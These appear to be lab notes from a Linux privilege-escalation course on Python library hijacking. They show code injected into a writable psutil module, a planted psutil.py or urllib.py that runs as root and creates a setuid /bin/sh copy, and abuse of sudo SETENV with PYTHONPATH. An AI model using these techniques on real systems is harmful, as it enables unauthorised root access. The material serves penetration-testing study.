Python Library Hijacking

Wrong Write Permissions

$ ls -l mem_status.py

-rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py
#!/usr/bin/env python3
import psutil

available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total

print(f"Available memory: {round(available_memory, 2)}%")
$ grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*

/usr/local/lib/python3.8/dist-packages/psutil/__init__.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psaix.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psbsd.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pslinux.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psosx.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pssunos.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pswindows.py:def virtual_memory():


htb-student@lpenix:~$ ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

-rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

Module Contents - Hijacking

...SNIP...

def virtual_memory():

	...SNIP...
	#### Hijacking
	import os
	os.system('id')
	

    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    # cached for later use in Process.memory_percent()
    _TOTAL_PHYMEM = ret.total
    return ret

...SNIP...
$ sudo /usr/bin/python3 ./mem_status.py

uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
Available memory: 79.22%

Library Path

$ python3 -c 'import sys; print("\n".join(sys.path))'

/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload
/usr/local/lib/python3.8/dist-packages
/usr/lib/python3/dist-packages

To be able to use this variant, two prerequisites are necessary.

  1. The module that is imported by the script is located under one of the lower priority paths listed via the PYTHONPATH variable.

  2. We must have write permissions to one of the paths having a higher priority on the list.

$ pip3 show psutil

...SNIP...
Location: /usr/local/lib/python3.8/dist-packages

...SNIP...
$ ls -la /usr/lib/python3.8

total 4916
drwxr-xrwx 30 root root  20480 Dec 14 16:26 .
...SNIP...

Create psutil.py in /usr/lib/python3.8

#!/usr/bin/env python3

import os

def virtual_memory():
    os.system('id')
$ sudo /usr/bin/python3 mem_status.py

uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
  File "mem_status.py", line 4, in <module>
    available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
AttributeError: 'NoneType' object has no attribute 'available'

Python first checks for modules in the current working directory, before looking in the other paths. If vulnerable script is on /home, create new file here

user@NIX02:~$ pwd
/home/user
user@NIX02:~$ ls
apache_restart.py
$ cat apache_restart.py 
import call
import urllib
url = urllib.urlopen(localhost)
page= url.getcode()
<SNIP>
user@NIX02:~$ cat urllib.py 
import os
os.system("cp /bin/sh /tmp/sh;chmod u+s /tmp/sh")
$ ls /tmp
sh
user@NIX02:/tmp$ ./sh -p
# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
# ls /root

PYTHONPATH Environment Variable

$ sudo -l 

Matching Defaults entries for htb-student on ACADEMY-LPENIX:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User htb-student may run the following commands on ACADEMY-LPENIX:
    (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3

Moved the previous python script psutil.py from the /usr/lib/python3.8 directory to /tmp

$ sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py

uid=0(root) gid=0(root) groups=0(root)
...SNIP...

References

PreviousShared Object HijackingNextHardening Linux

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